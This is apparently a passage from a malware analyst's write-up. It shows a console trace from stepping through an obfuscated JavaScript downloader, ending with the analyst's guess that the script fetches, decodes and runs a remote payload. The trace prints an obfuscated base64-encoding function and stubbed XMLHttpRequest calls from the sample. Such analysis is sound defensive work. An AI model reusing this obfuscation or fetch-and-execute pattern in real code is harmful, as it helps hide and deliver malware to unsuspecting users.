uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,9,30,
uersas: curare=EqhmMTEcXO
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,10,30,
uersas: curare=EqhmMTEcXOD
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,11,30,
uersas: curare=EqhmMTEcXOD7
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,12,30,
uersas: curare=EqhmMTEcXOD7Q
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,13,30,
uersas: curare=EqhmMTEcXOD7QX
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,14,30,
uersas: curare=EqhmMTEcXOD7QXy
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,15,30,
uersas: curare=EqhmMTEcXOD7QXyc
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,16,30,
uersas: curare=EqhmMTEcXOD7QXyc3
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,17,30,
uersas: curare=EqhmMTEcXOD7QXyc3r
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,18,30,
uersas: curare=EqhmMTEcXOD7QXyc3rE
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,19,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEm
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,20,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,21,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX1
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,22,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX1v
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,23,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX1vb
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,24,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX1vbG
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,25,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX1vbGa
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,26,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX1vbGam
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,27,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX1vbGamG
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,28,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX1vbGamGd
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,29,30,
uersas: curare=EqhmMTEcXOD7QXyc3rEmX1vbGamGdG
mensis: 30,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,,undefined
galea-done: EqhmMTEcXOD7QXyc3rEmX1vbGamGdG
scimus: aEqhmMTEcXOD7QXyc3rEmX1vbGamGdG
ueniatiie: function spiret(iurem, sueti, demo, paci) { console.log("spiret: " + iurem + "," + sueti + "," + demo + "," + paci); var flecte = 7 < 1 ? 2 : ""; var saucia; var uenere; var nefas = (54, 0); var fixus = 4986 > trudit ? 1 : 0.229; uenere = (5356, 0); for (saucia = 0; uenere < iurem[ducem]; uenere++, saucia++) { nefas = nefas * 256 + iurem[lerit](uenere); fixus = fixus * 4; flecte = flecte + somnis.charAt(parseInt(nefas / fixus)); nefas = nefas % fixus; if (fixus == 64) { flecte = flecte + somnis.charAt(parseInt(nefas)); nefas = 0; fixus = 1; saucia++; } if (saucia >= 75) { saucia = -1; flecte = flecte + "\n"; } } if ((3 >= 0.22 ? uenere : ponta) % (0.3514 <= gemina ? 3 : ciebas)) { flecte = flecte + somnis.charAt(parseInt(nefas * ((uenere % 3 == 1) ? 16 : 4))); flecte = flecte + ((uenere % 3) == 1 ? "==" : boilyya[clarae](61)); } console.log("spiret-done: " + flecte); return 3243 <= "160" ? 73 : flecte; }
venire length: 1
venire.arg0: return lauro()
venire: undefined
venire length: 3
venire.arg0: x
venire.arg1: y
venire.arg2: return odio(x,y)
venire: y
venire length: 2
venire.arg0: x
venire.arg1: return darent(x)
venire: return darent(x)
usaqueqqe: return darent(x)
darent: aEqhmMTEcXOD7QXyc3rEmX1vbGamGdG,undefined,undefined,undefined
aenea: function () { console.log("aenea args.length: " + arguments.length); console.log("aenea: calling lauro():"); return lauro(); }
aenea args.length: 0
aenea: calling lauro():
obunco (lauro etc.): undefined,undefined,undefined,undefined
({open:(function () {console.log("open function");for (var i = 0; i < arguments.length; i++) {console.log(arguments[i]);}}), send:(function () {console.log("send()");return function () {};}), onreadystatechange:(function () {})}) is not a function

I suspect if this code did work, it would execute a JS payload or would dynamically fetch (via xmlHttpRequest), decode/decrypt and execute a payload. (A key/passphrase or decoding loop is suggested, given the output above.) On the other hand and in the words of comedian Dennis Miller, "'Course that's just my opinion, I could be wrong."

Related links